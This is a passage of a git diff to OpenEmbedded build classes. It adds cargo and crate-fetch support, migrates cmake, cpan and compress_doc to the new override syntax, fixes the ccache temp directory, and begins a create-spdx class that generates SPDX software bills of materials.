+CARGO_VENDORING_DIRECTORY ?= "${CARGO_HOME}/bitbake"
+
+CARGO_RUST_TARGET_CCLD ?= "${RUST_TARGET_CCLD}"
+cargo_common_do_configure () {
+ mkdir -p ${CARGO_HOME}/bitbake
+
+ cat <<- EOF > ${CARGO_HOME}/config
+ # EXTRA_OECARGO_PATHS
+ paths = [
+ $(for p in ${EXTRA_OECARGO_PATHS}; do echo \"$p\",; done)
+ ]
+ EOF
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # Local mirror vendored by bitbake
+ [source.bitbake]
+ directory = "${CARGO_VENDORING_DIRECTORY}"
+ EOF
+
+ if [ -z "${EXTERNALSRC}" ] && [ ${CARGO_DISABLE_BITBAKE_VENDORING} = "0" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [source.crates-io]
+ replace-with = "bitbake"
+ local-registry = "/nonexistant"
+ EOF
+ fi
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [http]
+ # Multiplexing can't be enabled because http2 can't be enabled
+ # in curl-native without dependency loops
+ multiplexing = false
+
+ # Ignore the hard coded and incorrect path to certificates
+ cainfo = "${STAGING_ETCDIR_NATIVE}/ssl/certs/ca-certificates.crt"
+
+ EOF
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # HOST_SYS
+ [target.${HOST_SYS}]
+ linker = "${CARGO_RUST_TARGET_CCLD}"
+ EOF
+
+ if [ "${HOST_SYS}" != "${BUILD_SYS}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # BUILD_SYS
+ [target.${BUILD_SYS}]
+ linker = "${RUST_BUILD_CCLD}"
+ EOF
+ fi
+
+ # Put build output in build directory preferred by bitbake instead of
+ # inside source directory unless they are the same
+ if [ "${B}" != "${S}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [build]
+ # Use out of tree build destination to avoid poluting the source tree
+ target-dir = "${B}/target"
+ EOF
+ fi
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [term]
+ progress.when = 'always'
+ progress.width = 80
+ EOF
+}
+
+oe_cargo_fix_env () {
+ export CC="${RUST_TARGET_CC}"
+ export CXX="${RUST_TARGET_CXX}"
+ export CFLAGS="${CFLAGS}"
+ export CXXFLAGS="${CXXFLAGS}"
+ export AR="${AR}"
+ export TARGET_CC="${RUST_TARGET_CC}"
+ export TARGET_CXX="${RUST_TARGET_CXX}"
+ export TARGET_CFLAGS="${CFLAGS}"
+ export TARGET_CXXFLAGS="${CXXFLAGS}"
+ export TARGET_AR="${AR}"
+ export HOST_CC="${RUST_BUILD_CC}"
+ export HOST_CXX="${RUST_BUILD_CXX}"
+ export HOST_CFLAGS="${BUILD_CFLAGS}"
+ export HOST_CXXFLAGS="${BUILD_CXXFLAGS}"
+ export HOST_AR="${BUILD_AR}"
+}
+
+EXTRA_OECARGO_PATHS ??= ""
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes/ccache.bbclass b/meta/classes/ccache.bbclass
index b5457359ca..4532894c57 100644
--- a/meta/classes/ccache.bbclass
+++ b/meta/classes/ccache.bbclass
@@ -33,6 +33,10 @@ export CCACHE_CONFIGPATH ?= "${COREBASE}/meta/conf/ccache.conf"
export CCACHE_DIR ?= "${CCACHE_TOP_DIR}/${MULTIMACH_TARGET_SYS}/${PN}"
+# Fixed errors:
+# ccache: error: Failed to create directory /run/user/0/ccache-tmp: Permission denied
+export CCACHE_TEMPDIR ?= "${CCACHE_DIR}/tmp"
+
# We need to stop ccache considering the current directory or the
# debug-prefix-map target directory to be significant when calculating
# its hash. Without this the cache would be invalidated every time
@@ -45,7 +49,7 @@ python() {
"""
pn = d.getVar('PN')
# quilt-native doesn't need ccache since no c files
- if not (pn in ('ccache-native', 'quilt-native') or
+ if not (bb.data.inherits_class("native", d) or
bb.utils.to_boolean(d.getVar('CCACHE_DISABLE'))):
d.appendVar('DEPENDS', ' ccache-native')
d.setVar('CCACHE', 'ccache ')
diff --git a/meta/classes/clutter.bbclass b/meta/classes/clutter.bbclass
deleted file mode 100644
index 24b53a13e4..0000000000
--- a/meta/classes/clutter.bbclass
+++ /dev/null
@@ -1,18 +0,0 @@
-def get_minor_dir(v):
- import re
- m = re.match(r"^([0-9]+)\.([0-9]+)", v)
- return "%s.%s" % (m.group(1), m.group(2))
-
-def get_real_name(n):
- import re
- m = re.match(r"^([a-z]+(-[a-z]+)?)(-[0-9]+\.[0-9]+)?", n)
- return "%s" % (m.group(1))
-
-VERMINOR = "${@get_minor_dir("${PV}")}"
-REALNAME = "${@get_real_name("${BPN}")}"
-
-SRC_URI = "${GNOME_MIRROR}/${REALNAME}/${VERMINOR}/${REALNAME}-${PV}.tar.xz;name=archive"
-S = "${WORKDIR}/${REALNAME}-${PV}"
-
-CLUTTERBASEBUILDCLASS ??= "autotools"
-inherit ${CLUTTERBASEBUILDCLASS} pkgconfig gtk-doc gettext
diff --git a/meta/classes/cmake.bbclass b/meta/classes/cmake.bbclass
index 7c055e8a3d..92b9197c48 100644
--- a/meta/classes/cmake.bbclass
+++ b/meta/classes/cmake.bbclass
@@ -1,7 +1,7 @@
# Path to the CMake file to process.
OECMAKE_SOURCEPATH ??= "${S}"
-DEPENDS_prepend = "cmake-native "
+DEPENDS:prepend = "cmake-native "
B = "${WORKDIR}/build"
# What CMake generator to use.
@@ -57,13 +57,13 @@ OECMAKE_PERLNATIVE_DIR ??= ""
OECMAKE_EXTRA_ROOT_PATH ?= ""
OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM = "ONLY"
-OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM_class-native = "BOTH"
+OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM:class-native = "BOTH"
-EXTRA_OECMAKE_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OECMAKE:append = " ${PACKAGECONFIG_CONFARGS}"
export CMAKE_BUILD_PARALLEL_LEVEL
-CMAKE_BUILD_PARALLEL_LEVEL_task-compile = "${@oe.utils.parallel_make(d, False)}"
-CMAKE_BUILD_PARALLEL_LEVEL_task-install = "${@oe.utils.parallel_make(d, True)}"
+CMAKE_BUILD_PARALLEL_LEVEL:task-compile = "${@oe.utils.parallel_make(d, False)}"
+CMAKE_BUILD_PARALLEL_LEVEL:task-install = "${@oe.utils.parallel_make(d, True)}"
OECMAKE_TARGET_COMPILE ?= "all"
OECMAKE_TARGET_INSTALL ?= "install"
@@ -81,6 +81,8 @@ def map_host_os_to_system_name(host_os):
def map_host_arch_to_uname_arch(host_arch):
if host_arch == "powerpc":
return "ppc"
+ if host_arch == "powerpc64le":
+ return "ppc64le"
if host_arch == "powerpc64":
return "ppc64"
return host_arch
@@ -100,7 +102,8 @@ set( CMAKE_CXX_COMPILER ${OECMAKE_CXX_COMPILER} )
set( CMAKE_C_COMPILER_LAUNCHER ${OECMAKE_C_COMPILER_LAUNCHER} )
set( CMAKE_CXX_COMPILER_LAUNCHER ${OECMAKE_CXX_COMPILER_LAUNCHER} )
set( CMAKE_ASM_COMPILER ${OECMAKE_C_COMPILER} )
-set( CMAKE_AR ${OECMAKE_AR} CACHE FILEPATH "Archiver" )
+find_program( CMAKE_AR ${OECMAKE_AR} DOC "Archiver" REQUIRED )
+
set( CMAKE_C_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "CFLAGS" )
set( CMAKE_CXX_FLAGS "${OECMAKE_CXX_FLAGS}" CACHE STRING "CXXFLAGS" )
set( CMAKE_ASM_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "ASM FLAGS" )
@@ -146,16 +149,14 @@ addtask generate_toolchain_file after do_patch before do_configure
CONFIGURE_FILES = "CMakeLists.txt"
+do_configure[cleandirs] = "${@d.getVar('B') if d.getVar('S') != d.getVar('B') else ''}"
+
cmake_do_configure() {
if [ "${OECMAKE_BUILDPATH}" ]; then
bbnote "cmake.bbclass no longer uses OECMAKE_BUILDPATH. The default behaviour is now out-of-tree builds with B=WORKDIR/build."
fi
- if [ "${S}" != "${B}" ]; then
- rm -rf ${B}
- mkdir -p ${B}
- cd ${B}
- else
+ if [ "${S}" = "${B}" ]; then
find ${B} -name CMakeFiles -or -name Makefile -or -name cmake_install.cmake -or -name CMakeCache.txt -delete
fi
@@ -187,6 +188,7 @@ cmake_do_configure() {
-DCMAKE_INSTALL_SO_NO_EXE=0 \
-DCMAKE_TOOLCHAIN_FILE=${WORKDIR}/toolchain.cmake \
-DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 \
+ -DCMAKE_EXPORT_NO_PACKAGE_REGISTRY=ON \
${EXTRA_OECMAKE} \
-Wno-dev
}
diff --git a/meta/classes/compress_doc.bbclass b/meta/classes/compress_doc.bbclass
index d6d11fad26..379b6c169e 100644
--- a/meta/classes/compress_doc.bbclass
+++ b/meta/classes/compress_doc.bbclass
@@ -8,7 +8,7 @@
#
# 3. It is easy to add a new type compression by editing
# local.conf, such as:
-# DOC_COMPRESS_LIST_append = ' abc'
+# DOC_COMPRESS_LIST:append = ' abc'
# DOC_COMPRESS = 'abc'
# DOC_COMPRESS_CMD[abc] = 'abc compress cmd ***'
# DOC_DECOMPRESS_CMD[abc] = 'abc decompress cmd ***'
@@ -225,7 +225,7 @@ python compress_doc_updatealternatives () {
infodir = d.getVar("infodir")
compress_mode = d.getVar('DOC_COMPRESS')
for pkg in (d.getVar('PACKAGES') or "").split():
- old_names = (d.getVar('ALTERNATIVE_%s' % pkg) or "").split()
+ old_names = (d.getVar('ALTERNATIVE:%s' % pkg) or "").split()
new_names = []
for old_name in old_names:
old_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', old_name)
@@ -258,6 +258,6 @@ python compress_doc_updatealternatives () {
new_names.append(new_name)
if new_names:
- d.setVar('ALTERNATIVE_%s' % pkg, ' '.join(new_names))
+ d.setVar('ALTERNATIVE:%s' % pkg, ' '.join(new_names))
}
diff --git a/meta/classes/core-image.bbclass b/meta/classes/core-image.bbclass
index 88ca272145..84fd3eeb38 100644
--- a/meta/classes/core-image.bbclass
+++ b/meta/classes/core-image.bbclass
@@ -9,6 +9,7 @@
#
# Available IMAGE_FEATURES:
#
+# - weston - Weston Wayland compositor
# - x11 - X server
# - x11-base - X server with minimal environment
# - x11-sato - OpenedHand Sato environment
@@ -30,6 +31,8 @@
# - post-install-logging
# - dev-pkgs - development packages (headers, etc.) for all installed packages in the rootfs
# - dbg-pkgs - debug symbol packages for all installed packages in the rootfs
+# - lic-pkgs - license packages for all installed pacakges in the rootfs, requires
+# LICENSE_CREATE_PACKAGE="1" to be set when building packages too
# - doc-pkgs - documentation packages for all installed packages in the rootfs
# - bash-completion-pkgs - bash-completion packages for recipes using bash-completion bbclass
# - ptest-pkgs - ptest packages for all ptest-enabled recipes
@@ -37,6 +40,7 @@
# - stateless-rootfs - systemctl-native not run, image populated by systemd at runtime
# - splash - bootup splash screen
#
+FEATURE_PACKAGES_weston = "packagegroup-core-weston"
FEATURE_PACKAGES_x11 = "packagegroup-core-x11"
FEATURE_PACKAGES_x11-base = "packagegroup-core-x11-base"
FEATURE_PACKAGES_x11-sato = "packagegroup-core-x11-sato"
diff --git a/meta/classes/cpan-base.bbclass b/meta/classes/cpan-base.bbclass
index 867edf8707..93d11e1bee 100644
--- a/meta/classes/cpan-base.bbclass
+++ b/meta/classes/cpan-base.bbclass
@@ -2,10 +2,10 @@
# cpan-base providers various perl related information needed for building
# cpan modules
#
-FILES_${PN} += "${libdir}/perl5 ${datadir}/perl5"
+FILES:${PN} += "${libdir}/perl5 ${datadir}/perl5"
DEPENDS += "${@["perl", "perl-native"][(bb.data.inherits_class('native', d))]}"
-RDEPENDS_${PN} += "${@["perl", ""][(bb.data.inherits_class('native', d))]}"
+RDEPENDS:${PN} += "${@["perl", ""][(bb.data.inherits_class('native', d))]}"
inherit perl-version
@@ -15,4 +15,13 @@ def is_target(d):
return "no"
PERLLIBDIRS = "${libdir}/perl5"
-PERLLIBDIRS_class-native = "${libdir}/perl5"
+PERLLIBDIRS:class-native = "${libdir}/perl5"
+
+def cpan_upstream_check_pattern(d):
+ for x in (d.getVar('SRC_URI') or '').split(' '):
+ if x.startswith("https://cpan.metacpan.org"):
+ _pattern = x.split('/')[-1].replace(d.getVar('PV'), r'(?P<pver>\d+.\d+)')
+ return _pattern
+ return ''
+
+UPSTREAM_CHECK_REGEX ?= "${@cpan_upstream_check_pattern(d)}"
diff --git a/meta/classes/cpan.bbclass b/meta/classes/cpan.bbclass
index e9908ae4b8..18f1b9d575 100644
--- a/meta/classes/cpan.bbclass
+++ b/meta/classes/cpan.bbclass
@@ -41,12 +41,12 @@ cpan_do_configure () {
fi
}
-do_configure_append_class-target() {
+do_configure:append:class-target() {
find . -name Makefile | xargs sed -E -i \
-e 's:LD_RUN_PATH ?= ?"?[^"]*"?::g'
}
-do_configure_append_class-nativesdk() {
+do_configure:append:class-nativesdk() {
find . -name Makefile | xargs sed -E -i \
-e 's:LD_RUN_PATH ?= ?"?[^"]*"?::g'
}
diff --git a/meta/classes/crate-fetch.bbclass b/meta/classes/crate-fetch.bbclass
new file mode 100644
index 0000000000..a7fa22b2a0
--- /dev/null
+++ b/meta/classes/crate-fetch.bbclass
@@ -0,0 +1,28 @@
+#
+# crate-fetch class
+#
+# Registers 'crate' method for Bitbake fetch2.
+#
+# Adds support for following format in recipe SRC_URI:
+# crate://<packagename>/<version>
+#
+
+def import_crate(d):
+ import crate
+ if not getattr(crate, 'imported', False):
+ bb.fetch2.methods.append(crate.Crate())
+ crate.imported = True
+
+python crate_import_handler() {
+ import_crate(d)
+}
+
+addhandler crate_import_handler
+crate_import_handler[eventmask] = "bb.event.RecipePreFinalise"
+
+def crate_get_srcrev(d):
+ import_crate(d)
+ return bb.fetch2.get_srcrev(d)
+
+# Override SRCPV to make sure it imports the fetcher first
+SRCPV = "${@crate_get_srcrev(d)}"
diff --git a/meta/classes/create-spdx.bbclass b/meta/classes/create-spdx.bbclass
new file mode 100644
index 0000000000..0a4db80aba
--- /dev/null
+++ b/meta/classes/create-spdx.bbclass
@@ -0,0 +1,956 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+DEPLOY_DIR_SPDX ??= "${DEPLOY_DIR}/spdx/${MACHINE}"
+
+# The product name that the CVE database uses. Defaults to BPN, but may need to
+# be overriden per recipe (for example tiff.bb sets CVE_PRODUCT=libtiff).
+CVE_PRODUCT ??= "${BPN}"
+CVE_VERSION ??= "${PV}"
+
+SPDXDIR ??= "${WORKDIR}/spdx"
+SPDXDEPLOY = "${SPDXDIR}/deploy"
+SPDXWORK = "${SPDXDIR}/work"
+
+SPDX_TOOL_NAME ??= "oe-spdx-creator"
+SPDX_TOOL_VERSION ??= "1.0"
+
+SPDXRUNTIMEDEPLOY = "${SPDXDIR}/runtime-deploy"
+
+SPDX_INCLUDE_SOURCES ??= "0"
+SPDX_INCLUDE_PACKAGED ??= "0"
+SPDX_ARCHIVE_SOURCES ??= "0"
+SPDX_ARCHIVE_PACKAGED ??= "0"
+
+SPDX_UUID_NAMESPACE ??= "sbom.openembedded.org"
+SPDX_NAMESPACE_PREFIX ??= "http://spdx.org/spdxdoc"
+
+SPDX_LICENSES ??= "${COREBASE}/meta/files/spdx-licenses.json"
+
+SPDX_ORG ??= "OpenEmbedded ()"
+
+do_image_complete[depends] = "virtual/kernel:do_create_spdx"
+
+def get_doc_namespace(d, doc):
+ import uuid
+ namespace_uuid = uuid.uuid5(uuid.NAMESPACE_DNS, d.getVar("SPDX_UUID_NAMESPACE"))
+ return "%s/%s-%s" % (d.getVar("SPDX_NAMESPACE_PREFIX"), doc.name, str(uuid.uuid5(namespace_uuid, doc.name)))
+
+def create_annotation(d, comment):
+ from datetime import datetime, timezone
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+ annotation = oe.spdx.SPDXAnnotation()
+ annotation.annotationDate = creation_time
+ annotation.annotationType = "OTHER"
+ annotation.annotator = "Tool: %s - %s" % (d.getVar("SPDX_TOOL_NAME"), d.getVar("SPDX_TOOL_VERSION"))
+ annotation.comment = comment
+ return annotation
+
+def recipe_spdx_is_native(d, recipe):
+ return any(a.annotationType == "OTHER" and
+ a.annotator == "Tool: %s - %s" % (d.getVar("SPDX_TOOL_NAME"), d.getVar("SPDX_TOOL_VERSION")) and
+ a.comment == "isNative" for a in recipe.annotations)
+
+def is_work_shared_spdx(d):
+ return bb.data.inherits_class('kernel', d) or ('work-shared' in d.getVar('WORKDIR'))
+
+python() {
+ import json
+ if d.getVar("SPDX_LICENSE_DATA"):
+ return
+
+ with open(d.getVar("SPDX_LICENSES"), "r") as f:
+ data = json.load(f)
+ # Transform the license array to a dictionary
+ data["licenses"] = {l["licenseId"]: l for l in data["licenses"]}
+ d.setVar("SPDX_LICENSE_DATA", data)
+}
+
+def convert_license_to_spdx(lic, document, d, existing={}):
+ from pathlib import Path
+ import oe.spdx
+
+ available_licenses = d.getVar("AVAILABLE_LICENSES").split()
+ license_data = d.getVar("SPDX_LICENSE_DATA")
+ extracted = {}
+
+ def add_extracted_license(ident, name):
+ nonlocal document
+
+ if name in extracted:
+ return
+
+ extracted_info = oe.spdx.SPDXExtractedLicensingInfo()
+ extracted_info.name = name
+ extracted_info.licenseId = ident
+ extracted_info.extractedText = None
+
+ if name == "PD":
+ # Special-case this.
+ extracted_info.extractedText = "Software released to the public domain"
+ elif name in available_licenses:
+ # This license can be found in COMMON_LICENSE_DIR or LICENSE_PATH
+ for directory in [d.getVar('COMMON_LICENSE_DIR')] + (d.getVar('LICENSE_PATH') or '').split():
+ try:
+ with (Path(directory) / name).open(errors="replace") as f:
+ extracted_info.extractedText = f.read()
+ break
+ except FileNotFoundError:
+ pass
+ if extracted_info.extractedText is None:
+ # Error out, as the license was in available_licenses so should
+ # be on disk somewhere.
+ bb.error("Cannot find text for license %s" % name)
+ else:
+ # If it's not SPDX, or PD, or in available licenses, then NO_GENERIC_LICENSE must be set
+ filename = d.getVarFlag('NO_GENERIC_LICENSE', name)
+ if filename:
+ filename = d.expand("${S}/" + filename)
+ with open(filename, errors="replace") as f:
+ extracted_info.extractedText = f.read()
+ else:
+ bb.error("Cannot find any text for license %s" % name)
+
+ extracted[name] = extracted_info
+ document.hasExtractedLicensingInfos.append(extracted_info)
+
+ def convert(l):
+ if l == "(" or l == ")":
+ return l
+
+ if l == "&":
+ return "AND"
+
+ if l == "|":
+ return "OR"
+
+ if l == "CLOSED":
+ return "NONE"
+
+ spdx_license = d.getVarFlag("SPDXLICENSEMAP", l) or l
+ if spdx_license in license_data["licenses"]:
+ return spdx_license
+
+ try:
+ spdx_license = existing[l]
+ except KeyError:
+ spdx_license = "LicenseRef-" + l
+ add_extracted_license(spdx_license, l)
+
+ return spdx_license
+
+ lic_split = lic.replace("(", " ( ").replace(")", " ) ").split()
+
+ return ' '.join(convert(l) for l in lic_split)
+
+def process_sources(d):
+ pn = d.getVar('PN')
+ assume_provided = (d.getVar("ASSUME_PROVIDED") or "").split()
+ if pn in assume_provided:
+ for p in d.getVar("PROVIDES").split():
+ if p != pn:
+ pn = p
+ break
+
+ # glibc-locale: do_fetch, do_unpack and do_patch tasks have been deleted,
+ # so avoid archiving source here.
+ if pn.startswith('glibc-locale'):
+ return False
+ if d.getVar('PN') == "libtool-cross":
+ return False
+ if d.getVar('PN') == "libgcc-initial":
+ return False
+ if d.getVar('PN') == "shadow-sysroot":
+ return False
+
+ # We just archive gcc-source for all the gcc related recipes
+ if d.getVar('BPN') in ['gcc', 'libgcc']:
+ bb.debug(1, 'spdx: There is bug in scan of %s is, do nothing' % pn)
+ return False
+
+ return True
+
+
+def add_package_files(d, doc, spdx_pkg, topdir, get_spdxid, get_types, *, archive=None, ignore_dirs=[], ignore_top_level_dirs=[]):
+ from pathlib import Path
+ import oe.spdx
+ import hashlib
+
+ source_date_epoch = d.getVar("SOURCE_DATE_EPOCH")
+ if source_date_epoch:
+ source_date_epoch = int(source_date_epoch)
+
+ sha1s = []
+ spdx_files = []
+
+ file_counter = 1
+ for subdir, dirs, files in os.walk(topdir):
+ dirs[:] = [d for d in dirs if d not in ignore_dirs]
+ if subdir == str(topdir):
+ dirs[:] = [d for d in dirs if d not in ignore_top_level_dirs]
+
+ for file in files:
+ filepath = Path(subdir) / file
+ filename = str(filepath.relative_to(topdir))
+
+ if filepath.is_file() and not filepath.is_symlink():
+ spdx_file = oe.spdx.SPDXFile()
+ spdx_file.SPDXID = get_spdxid(file_counter)
+ for t in get_types(filepath):
+ spdx_file.fileTypes.append(t)
+ spdx_file.fileName = filename
+
+ if archive is not None:
+ with filepath.open("rb") as f:
+ info = archive.gettarinfo(fileobj=f)
+ info.name = filename
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ if source_date_epoch is not None and info.mtime > source_date_epoch:
+ info.mtime = source_date_epoch
+
+ archive.addfile(info, f)
+
+ sha1 = bb.utils.sha1_file(filepath)
+ sha1s.append(sha1)
+ spdx_file.checksums.append(oe.spdx.SPDXChecksum(
+ algorithm="SHA1",
+ checksumValue=sha1,
+ ))
+ spdx_file.checksums.append(oe.spdx.SPDXChecksum(
+ algorithm="SHA256",
+ checksumValue=bb.utils.sha256_file(filepath),
+ ))
+
+ doc.files.append(spdx_file)
+ doc.add_relationship(spdx_pkg, "CONTAINS", spdx_file)
+ spdx_pkg.hasFiles.append(spdx_file.SPDXID)
+
+ spdx_files.append(spdx_file)
+
+ file_counter += 1
+
+ sha1s.sort()
+ verifier = hashlib.sha1()
+ for v in sha1s:
+ verifier.update(v.encode("utf-8"))
+ spdx_pkg.packageVerificationCode.packageVerificationCodeValue = verifier.hexdigest()
+
+ return spdx_files
+
+
+def add_package_sources_from_debug(d, package_doc, spdx_package, package, package_files, sources):
+ from pathlib import Path
+ import hashlib
+ import oe.packagedata
+ import oe.spdx
+
+ debug_search_paths = [
+ Path(d.getVar('PKGD')),
+ Path(d.getVar('STAGING_DIR_TARGET')),
+ Path(d.getVar('STAGING_DIR_NATIVE')),
+ ]
+
+ pkg_data = oe.packagedata.read_subpkgdata_extended(package, d)
+
+ if pkg_data is None:
+ return
+
+ for file_path, file_data in pkg_data["files_info"].items():
+ if not "debugsrc" in file_data:
+ continue
+
+ for pkg_file in package_files:
+ if file_path.lstrip("/") == pkg_file.fileName.lstrip("/"):
+ break
+ else:
+ bb.fatal("No package file found for %s" % str(file_path))
+ continue
+
+ for debugsrc in file_data["debugsrc"]:
+ ref_id = "NOASSERTION"
+ for search in debug_search_paths:
+ debugsrc_path = search / debugsrc.lstrip("/")
+ if not debugsrc_path.exists():
+ continue
+
+ file_sha256 = bb.utils.sha256_file(debugsrc_path)
+
+ if file_sha256 in sources:
+ source_file = sources[file_sha256]
+
+ doc_ref = package_doc.find_external_document_ref(source_file.doc.documentNamespace)
+ if doc_ref is None:
+ doc_ref = oe.spdx.SPDXExternalDocumentRef()
+ doc_ref.externalDocumentId = "DocumentRef-dependency-" + source_file.doc.name
+ doc_ref.spdxDocument = source_file.doc.documentNamespace
+ doc_ref.checksum.algorithm = "SHA1"
+ doc_ref.checksum.checksumValue = source_file.doc_sha1
+ package_doc.externalDocumentRefs.append(doc_ref)
+
+ ref_id = "%s:%s" % (doc_ref.externalDocumentId, source_file.file.SPDXID)
+ else:
+ bb.debug(1, "Debug source %s with SHA256 %s not found in any dependency" % (str(debugsrc_path), file_sha256))
+ break
+ else:
+ bb.debug(1, "Debug source %s not found" % debugsrc)
+
+ package_doc.add_relationship(pkg_file, "GENERATED_FROM", ref_id, comment=debugsrc)
+
+def collect_dep_recipes(d, doc, spdx_recipe):
+ from pathlib import Path
+ import oe.sbom
+ import oe.spdx
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+
+ dep_recipes = []
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ deps = sorted(set(
+ dep[0] for dep in taskdepdata.values() if
+ dep[1] == "do_create_spdx" and dep[0] != d.getVar("PN")
+ ))
+ for dep_pn in deps:
+ dep_recipe_path = deploy_dir_spdx / "recipes" / ("recipe-%s.spdx.json" % dep_pn)
+
+ spdx_dep_doc, spdx_dep_sha1 = oe.sbom.read_doc(dep_recipe_path)
+
+ for pkg in spdx_dep_doc.packages:
+ if pkg.name == dep_pn:
+ spdx_dep_recipe = pkg
+ break
+ else:
+ continue
+
+ dep_recipes.append(oe.sbom.DepRecipe(spdx_dep_doc, spdx_dep_sha1, spdx_dep_recipe))
+
+ dep_recipe_ref = oe.spdx.SPDXExternalDocumentRef()
+ dep_recipe_ref.externalDocumentId = "DocumentRef-dependency-" + spdx_dep_doc.name
+ dep_recipe_ref.spdxDocument = spdx_dep_doc.documentNamespace
+ dep_recipe_ref.checksum.algorithm = "SHA1"
+ dep_recipe_ref.checksum.checksumValue = spdx_dep_sha1
+
+ doc.externalDocumentRefs.append(dep_recipe_ref)
+
+ doc.add_relationship(
+ "%s:%s" % (dep_recipe_ref.externalDocumentId, spdx_dep_recipe.SPDXID),
+ "BUILD_DEPENDENCY_OF",
+ spdx_recipe
+ )
+
+ return dep_recipes
+
+collect_dep_recipes[vardepsexclude] += "BB_TASKDEPDATA"
+
+
+def collect_dep_sources(d, dep_recipes):
+ import oe.sbom
+
+ sources = {}
+ for dep in dep_recipes:
+ # Don't collect sources from native recipes as they
+ # match non-native sources also.
+ if recipe_spdx_is_native(d, dep.recipe):
+ continue
+ recipe_files = set(dep.recipe.hasFiles)
+
+ for spdx_file in dep.doc.files:
+ if spdx_file.SPDXID not in recipe_files:
+ continue
+
+ if "SOURCE" in spdx_file.fileTypes:
+ for checksum in spdx_file.checksums:
+ if checksum.algorithm == "SHA256":
+ sources[checksum.checksumValue] = oe.sbom.DepSource(dep.doc, dep.doc_sha1, dep.recipe, spdx_file)
+ break
+
+ return sources
+
+
+python do_create_spdx() {
+ from datetime import datetime, timezone
+ import oe.sbom
+ import oe.spdx
+ import uuid
+ from pathlib import Path
+ from contextlib import contextmanager
+ import oe.cve_check
+
+ @contextmanager
+ def optional_tarfile(name, guard, mode="w"):
+ import tarfile
+ import bb.compress.zstd
+
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+
+ if guard:
+ name.parent.mkdir(parents=True, exist_ok=True)
+ with bb.compress.zstd.open(name, mode=mode + "b", num_threads=num_threads) as f:
+ with tarfile.open(fileobj=f, mode=mode + "|") as tf:
+ yield tf
+ else:
+ yield None
+
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_workdir = Path(d.getVar("SPDXWORK"))
+ include_packaged = d.getVar("SPDX_INCLUDE_PACKAGED") == "1"
+ include_sources = d.getVar("SPDX_INCLUDE_SOURCES") == "1"
+ archive_sources = d.getVar("SPDX_ARCHIVE_SOURCES") == "1"
+ archive_packaged = d.getVar("SPDX_ARCHIVE_PACKAGED") == "1"
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ doc = oe.spdx.SPDXDocument()
+
+ doc.name = "recipe-" + d.getVar("PN")
+ doc.documentNamespace = get_doc_namespace(d, doc)
+ doc.creationInfo.created = creation_time
+ doc.creationInfo.comment = "This document was created by analyzing recipe files during the build."
+ doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ doc.creationInfo.creators.append("Person: N/A ()")
+
+ recipe = oe.spdx.SPDXPackage()
+ recipe.name = d.getVar("PN")
+ recipe.versionInfo = d.getVar("PV")
+ recipe.SPDXID = oe.sbom.get_recipe_spdxid(d)
+ if bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d):
+ recipe.annotations.append(create_annotation(d, "isNative"))
+
+ for s in d.getVar('SRC_URI').split():
+ if not s.startswith("file://"):
+ recipe.downloadLocation = s
+ break
+ else:
+ recipe.downloadLocation = "NOASSERTION"
+
+ homepage = d.getVar("HOMEPAGE")
+ if homepage:
+ recipe.homepage = homepage
+
+ license = d.getVar("LICENSE")
+ if license:
+ recipe.licenseDeclared = convert_license_to_spdx(license, doc, d)
+
+ summary = d.getVar("SUMMARY")
+ if summary:
+ recipe.summary = summary
+
+ description = d.getVar("DESCRIPTION")
+ if description:
+ recipe.description = description
+
+ # Some CVEs may be patched during the build process without incrementing the version number,
+ # so querying for CVEs based on the CPE id can lead to false positives. To account for this,
+ # save the CVEs fixed by patches to source information field in the SPDX.
+ patched_cves = oe.cve_check.get_patched_cves(d)
+ patched_cves = list(patched_cves)
+ patched_cves = ' '.join(patched_cves)
+ if patched_cves:
+ recipe.sourceInfo = "CVEs fixed: " + patched_cves
+
+ cpe_ids = oe.cve_check.get_cpe_ids(d.getVar("CVE_PRODUCT"), d.getVar("CVE_VERSION"))
+ if cpe_ids:
+ for cpe_id in cpe_ids:
+ cpe = oe.spdx.SPDXExternalReference()
+ cpe.referenceCategory = "SECURITY"
+ cpe.referenceType = "http://spdx.org/rdf/references/cpe23Type"
+ cpe.referenceLocator = cpe_id
+ recipe.externalRefs.append(cpe)
+
+ doc.packages.append(recipe)
+ doc.add_relationship(doc, "DESCRIBES", recipe)
+
+ if process_sources(d) and include_sources:
+ recipe_archive = deploy_dir_spdx / "recipes" / (doc.name + ".tar.zst")
+ with optional_tarfile(recipe_archive, archive_sources) as archive:
+ spdx_get_src(d)
+
+ add_package_files(
+ d,
+ doc,
+ recipe,
+ spdx_workdir,
+ lambda file_counter: "SPDXRef-SourceFile-%s-%d" % (d.getVar("PN"), file_counter),
+ lambda filepath: ["SOURCE"],
